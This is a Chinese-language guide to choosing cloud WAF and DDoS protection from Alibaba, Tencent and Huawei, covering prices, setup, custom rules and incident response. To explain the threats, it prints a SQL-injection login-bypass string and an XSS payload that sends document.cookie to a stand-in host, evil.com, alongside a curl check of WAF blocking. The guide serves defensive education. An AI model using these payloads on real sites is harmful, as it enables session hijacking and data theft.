快速结论
- 基础防护免费:三大云厂商的云服务器均提供基础 DDoS 防护(通常 2-10Gbps),无需额外付费
- WAF 是必须的:只要网站有用户注册/登录/搜索功能,就应开启 WAF,月成本约 ¥200-500
- 遭受攻击时:先开高防 IP(临时防护),攻击结束后再评估是否长期购买
- 中小企业选型:腾讯云 EdgeOne 或阿里云 WAF 入门版,性价比最高
WAF 和 DDoS 防护的区别
很多人混淆这两个概念,它们实际上针对不同类型的攻击:
| 维度 | WAF(Web应用防火墙) | DDoS 防护 |
|---|---|---|
| 防护层次 | 应用层(L7) | 网络层(L3/L4)+ 应用层 |
| 攻击类型 | SQL注入、XSS、CC攻击 | 流量洪水攻击 |
| 工作方式 | 分析 HTTP 请求内容 | 清洗恶意流量 |
| 判断标准 | 请求是否有攻击特征 | 流量是否超过阈值 |
| 产品形态 | SaaS/云原生 | 高防 IP/高防 CDN |
简单理解:
- WAF = 门卫(检查每个人的证件,拦截坏人)
- DDoS 高防 = 门口的护栏(应对人群冲撞,保护大门本身不被冲垮)
两者相辅相成,生产环境建议同时部署。
常见 Web 攻击类型与 WAF 防护
SQL 注入
-- 攻击示例:用户输入中混入 SQL 语句
用户名: admin' OR '1'='1
-- 危害:绕过登录验证,查询/删除数据库数据
SELECT * FROM users WHERE username='admin' OR '1'='1'WAF 防护策略: 检测请求参数中的 SQL 关键词(OR、UNION、SELECT、DROP 等),匹配则拦截。
XSS(跨站脚本攻击)
<!-- 攻击示例:在评论框输入恶意脚本 -->
<script>document.cookie && fetch('https://evil.com/steal?c='+document.cookie)</script>
<!-- 危害:窃取用户 Cookie,劫持登录状态 -->WAF 防护策略: 过滤 <script> 等 HTML 标签,对特殊字符进行转义。
CC 攻击(挑战黑洞)
CC 攻击通过大量正常 HTTP 请求打垮服务器,WAF 通过以下方式识别:
- 同一 IP 高频请求(如 1 分钟内超过 1000 次)
- 请求特征异常(User-Agent 为空、无 Cookie)
- 访问路径异常(大量请求同一资源)
各云厂商 WAF 产品对比
阿里云 WAF
阿里云 WAF 是国内市场份额最大的 WAF 产品,规则库更新频繁,防护效果经过大规模实战检验。
产品规格与价格(2026年):
| 版本 | 月费 | QPS | 域名数 | 适合场景 |
|---|---|---|---|---|
| 入门版 | ¥580/月 | 2000 | 10 个 | 中小网站 |
| 标准版 | ¥1880/月 | 5000 | 10 个 | 中型电商/SaaS |
| 专业版 | ¥9800/月 | 10000 | 50 个 | 大型平台 |
| 旗舰版 | 面议 | 定制 | 定制 | 超大规模 |
核心功能:
- 基础防护:SQL 注入、XSS、命令注入、文件包含等 OWASP Top 10
- 精准访问控制:自定义规则(IP/URL/Header/Cookie 组合匹配)
- CC 防护:自动识别和封禁 CC 攻击 IP
- 爬虫防护:识别恶意爬虫,支持 Bot 管理
- API 安全:检测 API 接口异常调用
接入方式:
- CNAME 接入(推荐):修改域名解析,将流量引导至 WAF 清洗后转发到源站
- 透明接入:源站为阿里云 ECS,无需修改 DNS
腾讯云 WAF
腾讯云 WAF 提供 SaaS 型和负载均衡型两种接入方式,后者适合已使用腾讯云 CLB 的用户(CLB 怎么选见负载均衡选型指南)。
产品规格与价格:
| 版本 | 月费 | QPS | 特色 |
|---|---|---|---|
| 基础版 | ¥280/月 | 1000 | 性价比最高 |
| 专业版 | ¥1300/月 | 5000 | 适合中型平台 |
| 企业版 | ¥5100/月 | 2万 | 适合大型网站 |
特色功能:
- 腾讯 AI 威胁情报:基于腾讯安全大数据的黑名单
- EdgeOne 集成:WAF + CDN + DDoS 防护三合一(推荐)
- 日志服务:与腾讯云 CLS 集成,实现安全日志统一管理
腾讯云 EdgeOne(特别推荐):将 CDN + WAF + DDoS 防护合并到边缘节点,性能更好,价格比分开购买更划算。
华为云 WAF
华为云 WAF 在政企市场有较强竞争力,满足等保三级合规要求。
产品规格:
| 版本 | 月费 | 适合场景 |
|---|---|---|
| 入门版 | ¥500/月 | 中小网站 |
| 标准版 | ¥2000/月 | 电商/教育 |
| 专业版 | ¥10000/月 | 大型政企 |
特色: 满足等保 2.0 三级要求,提供合规报告,适合需要等保认证的政务/金融网站。
DDoS 高防产品选型
DDoS 攻击类型与规模
| 攻击类型 | 特征 | 典型流量规模 |
|---|---|---|
| UDP Flood | 大量 UDP 包 | 10Gbps-1Tbps |
| SYN Flood | 大量半开连接 | 10Gbps-500Gbps |
| HTTP Flood / CC | 大量合法 HTTP 请求 | 10万-1000万 QPS |
| DNS 放大攻击 | 利用 DNS 服务器放大 | 50Gbps-500Gbps |
高防产品对比
| 云厂商 | 产品 | 防护能力 | 月费参考 |
|---|---|---|---|
| 阿里云 | DDoS 高防 IP | 最高 2Tbps | ¥3000-100000+ |
| 腾讯云 | DDoS 高防包/高防 IP | 最高 1Tbps | ¥2000-50000+ |
| 华为云 | AAD 高防服务 | 最高 1Tbps | ¥3500-100000+ |
价格说明: DDoS 高防价格与防护带宽直接相关,100Gbps 防护大约 ¥3000-8000/月。
什么时候需要高防?
不需要高防(使用免费基础防护):
- 网站流量正常,无明显攻击迹象
- 业务不是高价值目标(如小型博客、企业官网)
- 可以接受短暂的可用性损失(10-30 分钟)
需要购买高防:
- 曾经遭受过 DDoS 攻击
- 业务对可用性要求极高(如支付、医疗紧急服务)
- 游戏/电商/直播等高价值目标行业
- 与竞争对手有商业竞争关系
WAF 配置实战
阿里云 WAF 快速配置
# 步骤 1:获取 WAF CNAME 地址
# 在阿里云 WAF 控制台 → 网站接入 → 添加域名 → 复制 CNAME
# 步骤 2:修改域名 DNS(以 CNAME 接入为例)
# 原来的 A 记录:your-domain.com → 1.2.3.4
# 修改为 CNAME:your-domain.com → xxx.alicloudwaf.com
# 步骤 3:验证 WAF 生效
curl -H "X-Forwarded-For: 1.1.1.1" "http://your-domain.com/?id=1 OR 1=1"
# WAF 应返回 405 或 403,而不是正常页面自定义规则示例
// 阿里云 WAF 精准访问控制规则示例
// 拦截来自特定 IP 段的所有请求
{
"name": "block-suspicious-ip",
"conditions": [
{
"field": "IP",
"operator": "match-subnet",
"value": "185.220.0.0/16"
}
],
"action": "block"
}
// 对特定 URL 路径启用强验证码
{
"name": "captcha-for-login",
"conditions": [
{
"field": "URL",
"operator": "starts-with",
"value": "/api/login"
}
],
"action": "js-challenge"
}安全事件响应流程
发现网站异常(疑似攻击)时,按以下步骤处理:
1. 确认攻击类型
├── 网站无法访问 → 可能是 DDoS 流量打满带宽
├── 服务器 CPU 100% → 可能是 CC 攻击或资源耗尽攻击
└── 数据异常 → 可能是 SQL 注入或数据泄露
2. 立即响应
├── DDoS → 联系云厂商开启高防 IP,临时封禁攻击 IP 段
├── CC 攻击 → 开启 WAF CC 防护,设置访问频率限制
└── 入侵 → 立即下线,排查后门,恢复备份
3. 收集证据
├── 保存服务器日志(/var/log/nginx/access.log)
├── 记录攻击 IP 来源
└── 截图服务器异常状态
4. 恢复服务
├── 攻击流量得到控制后,逐步恢复服务
└── 加固规则,避免二次攻击
5. 事后复盘
├── 评估是否需要长期购买高防服务
└── 优化 WAF 规则,降低误报率安全成本与效益分析
| 安全级别 | 月成本 | 防护能力 | 适合对象 |
|---|---|---|---|
| 基础防护(免费) | ¥0 | 基础 DDoS(2-10G) | 个人博客/企业官网 |
| WAF 入门 | ¥280-580 | SQL/XSS/CC 防护 | 中小电商/SaaS |
| WAF + 高防包 | ¥2000-5000 | 100G DDoS + Web 防护 | 中型平台 |
| 企业安全套餐 | ¥10000+ | T 级 DDoS + 全功能 WAF | 大型平台/金融 |
推荐方案
初创网站(月流量 < 100万 PV) -> 暂用免费基础防护,服务器开启安全组规则,如遭受攻击再升级 -> 参考:阿里云免费安全体验
中小企业网站 -> 腾讯云 EdgeOne 或阿里云 WAF 入门版,月费 ¥280-580,CDN+WAF 合一,性价比最高
政企合规网站 -> 华为云 WAF 标准版 + 等保合规套餐,满足监管要求
高价值目标(游戏/电商/金融) -> WAF 专业版 + 高防 IP,预算 ¥5000-20000/月,重点防御大流量 DDoS
总结
Web 安全不是奢侈品,是每个网站的基础设施。一次 DDoS 攻击或数据泄露事件,损失可能远超一年的安全投入。
建议行动步骤:
